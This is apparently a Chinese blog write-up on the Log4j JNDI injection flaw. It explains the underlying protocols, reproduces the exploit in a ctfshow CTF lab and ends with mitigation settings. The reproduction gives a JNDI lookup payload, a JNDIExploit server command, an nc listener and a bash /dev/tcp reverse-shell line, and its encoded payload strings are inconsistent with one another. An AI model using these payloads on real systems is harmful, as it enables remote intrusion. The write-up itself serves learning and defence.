一.前置知识

1.JNDI接口

JNDI即Java Naming and Directory Interface(JAVA命名和目录接口),它提供一个目录系统,并将服务名称与对象关联起来,从而使得开发人员在开发过程中可以使用名称来访问对象。

有一个类似于字典的数据源,你可以通过JNDI接口,传一个name进去,就能获取到对象了。

2.LDAP协议

LDAP称为轻量级目录访问协议,既是一种服务,也是一种协议,是JNDI的一种底层实现,主要功能是提供命名关键字到对象的映射目录,开发人员可以通过输入名称,获取到对象的内容。

有一个类似于字典的数据源,你可以通过LDAP协议,传一个name进去,就能获取到数据。

3.RMI协议

JAVA的一种远程接口调用协议,在TCP协议上传递可序列化的Java对象,即可以实现调用远程方法和调用本地方法一样简单。

4.Log4j

Log4j是由Apache提供的日志操作包,用于帮助用户处理日志信息。通过Log4j,可以控制日志信息输送的目的地是控制台、文件、GUI组件、甚至是套接口服务器等各种地方。

二.Log4j漏洞的成因

Log4j为了输出日志时能输出任意位置的Java对象,引入了Lookup接口,这个Lookup接口可以看作是JNDI的一种实现,允许按照具体的名称逻辑查找对象的位置,并输出对象的内容,此对象可以通过Java的序列化或反序列化传输,从远程服务器上查找。

由于Lookup接口的原因,Log4j就暗含JNDI注入漏洞,可以联合使用JNDI+LDAP或者JNDI+RMI通过命名功能直接从远程服务器上调用文件并在本地执行。

Log4j在处理消息转换时,会按照字符检测每条日志,当日志中包含${}时,则会将表达式的内容替换成真实的内容(即lookup接口查找得到的内容),使用LDAP或RMI协议,能从远程服务区上请求恶意的对象,对象在调用的过程中会被解析执行,导致了Log4j的漏洞。

三.漏洞复现

1.ctfshow的log4j复现

2.打开环境,写上payload:${jndi:ldap://ntoand.dnslog.cn}先用dnslog检测漏洞是否存在

3.可以看到,是有解析记录的,原理如下:

4.浅浅漏洞利用一下吧~

在远程vps上搭建LDAP服务器,并将恶意代码编译并挂在服务器上,对JAVA不太熟练,直接使用JNDIExploit工具进行搭建:

GitHub链接:Yihsiwei/Log4j-exp: 帮助你快速复现Log4j漏洞 (github.com)

下载工具后,放到公网VPS上,记得防火墙放行端口

java -jar JNDIExploit-1.2-SNAPSHOT.jar -i X.X.X.X -p 4444

用nc监听端口

nc -lvp 5555

制作poc,通过bash -i >& /dev/tcp/x.x.x.x/5555 0>&1反弹shell

说明:

bash -i 指开启一个交互式的Shell

&符号用于区分文件和文件描述符

&表示标准输出或标准错误输出重定向到文件

0指标准输入重定向,1指标准输出重定向,2指错误输出重定向

/dev/tcp指linux下的特殊设备,可用于建立Socket连接

bash -i >& /dev/tcp/120.x.7x.2x.17x/5555 0>&1 指将标准输出重定向到/dev/tcp/ip/port端口文件中即重定向到攻击机,靶机的标准输入被重定向到了标准输出,标准输出重定向到了攻击机,因此标准输入也就重定向到了攻击机,所以可以看到攻击机输入命令并看到结果。

POC为:

${jndi:ldap://x.x.x.x:1389/TomcatBypass/Command/Base64/YmFzaCAtaSA%2BJiAV2L3RjcC8xOTUuMTMzLjUuMzc1NSAwPiYx}

注意:bash -i >& /dev/tcp/x.x.x.x/5555 0>&1需要base64编码+url编码工具才能识别

base64编码后:YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTUuMzLzcvNTU1NSAwPiYx

Url编码后:YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xOTUuMTMMzcvNTU1NPiYx

点击提交,看到shell反弹回来了

log4j漏洞攻击成功~

四、Log4j的临时缓解措施

关闭lookup功能:

(1)设置log4j2.formatMsgNoLookups=True

(2)Dlog4j2.formatMsgNoLookups=true。

(3)设置系统环境变量FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS为true

(4)采用防火墙对请求流量中的${jndi进行拦截,防止JNDI注入。

(5)禁止存在漏洞的业务访问外网,主动外连外网。

log4j漏洞原理的更多相关文章

  1. 升级过log4j,却还没搞懂log4j漏洞的本质?

    摘要:log4j远程代码漏洞问题被大范围曝光后已经有一段时间了,今天完整讲清JNDI和RMI以及该漏洞的深层原因. 本文分享自华为云社区<升级过log4j,却还没搞懂log4j漏洞的本质?为你完 ...

  2. 打印机PCL漏洞原理分析

    0x01 漏洞概要 PCL代表打印机控制语言(Printer Control Language),由惠普公司开发,并被广泛使用的一种打印机协议.关于另一种页面描述语言,应该提一提由Adobe设计的Po ...

  3. CVE-2014-0038内核漏洞原理与本地提权利用代码实现分析 作者:seteuid0

    关键字:CVE-2014-0038,内核漏洞,POC,利用代码,本地提权,提权,exploit,cve analysis, privilege escalation, cve, kernel vuln ...

  4. Heartbleed心脏出血漏洞原理分析

    Heartbleed心脏出血漏洞原理分析 2017年01月14日 18:14:25 阅读数:2718 1. 概述    OpenSSL在实现TLS和DTLS的心跳处理逻辑时,存在编码缺陷.OpenSS ...

  5. java反序列化漏洞原理研习

    零.Java反序列化漏洞 java的安全问题首屈一指的就是反序列化漏洞,可以执行命令啊,甚至直接getshell,所以趁着这个假期好好研究一下java的反序列化漏洞.另外呢,组里多位大佬对反序列化漏洞 ...

  6. CVE2016-8863libupnp缓冲区溢出漏洞原理分析及Poc

    1.libupnp问题分析: (1)问题简述: 根据客户给出的报告,通过设备安装的libupnp软件版本来判断,存在缓冲区溢出漏洞:CVE-2016-8863. (2)漏洞原理分析: 该漏洞发生在up ...

  7. 微软 IIS HTTP.sys漏洞原理学习以及POC

    零.MS15-034POC核心部分(参考巡风): socket.setdefaulttimeout(timeout) s = socket.socket(socket.AF_INET, socket. ...

  8. Java反序列化漏洞原理解析(案例未完善后续补充)

    序列化与反序列化 序列化用途:方便于对象在网络中的传输和存储 java的反序列化 序列化就是将对象转换为流,利于储存和传输的格式 反序列化与序列化相反,将流转换为对象 例如:json序列化.XML序列 ...

  9. 浅谈PHP反序列化漏洞原理

    序列化与反序列化 序列化用途:方便于对象在网络中的传输和存储 0x01 php反序列化漏洞 在PHP应用中,序列化和反序列化一般用做缓存,比如session缓存,cookie等. 常见的序列化格式: ...

  10. CSRF漏洞原理浅谈

    CSRF漏洞原理浅谈 By : Mirror王宇阳 E-mail : mirrorwangyuyang@gmail.com 笔者并未深挖过CSRF,内容居多是参考<Web安全深度剖析>.& ...

随机推荐

  1. 微信小程序-云函数、云存储

    云函数是运行在服务器端的 创建一个目录cloud project.config.json配置云函数目录 cloud目录有个云朵.代表云函数 初始化成功了 新建一个云函数 cloud目录右击 新建一个N ...

  2. ProxySQL 使用情况报错问题汇总及解决办法

    1.ProxySQL Error: connection is locked to hostgroup 2 but trying to reach hostgroup 1 解决方案:登上proxysq ...

  3. 启动elasticsearch报错解决

    说不定以后会不定期更新该文档 1.提示文件描述符数量太少,修改/etc/security/limits.conf文件,添加. * soft nofile 65537 * hard nofile 655 ...

  4. 使用nginx代理nexus,不是/根路径

    location /nexus/ { proxy_pass http://192.168.0.218:8081/; proxy_set_header Host $host:$server_port; ...

  5. SecureCRT使用之自动记录日志功能

    自动记录日志功能: 选择"选项"--"全局选项",打开全局选项,在常规设置中找到"默认会话"设置项,点击右侧的"编辑默认设置&qu ...

  6. 线段树学习笔记(基础&进阶)(一) | P3372 【模板】线段树 1 题解

    什么是线段树 线段树是一棵二叉树,每个结点存储需维护的信息,一般用于处理区间最值.区间和等问题. 线段树的用处 对编号连续的一些点进行修改或者统计操作,修改和统计的复杂度都是 O(log n). 基础 ...

  7. 汇编指令:lea

    lea指令变种(按大小分类): leaw #2个字节 leal #4个字节 leaq #8个字节 lea的用法: leaq a(b, c, d), %rax 首先lea指令是mov指令的变种,据说,l ...

  8. 豆瓣电影排行简单数据爬取_pyhton

    先安装一下requests和bs4库: cmd下面:python -m pip install bs4 -i https://pypi.douban.com/simple 代码: import req ...

  9. golang开发一个简单的grpc

    0.1.索引 https://waterflow.link/articles/1665674508275 1.什么是grpc 在 gRPC 中,客户端应用程序可以直接调用不同机器上的服务器应用程序上的 ...

  10. javascript异步编程,promise概念

    javascript 异步编程 概述 采用单线程模式工作的原因: 避免多线dom操作同步问题,javascript的执行环境中负责执行代码的线程只有一个 内容概要 同步模式和异步模式 事件循环和消息队 ...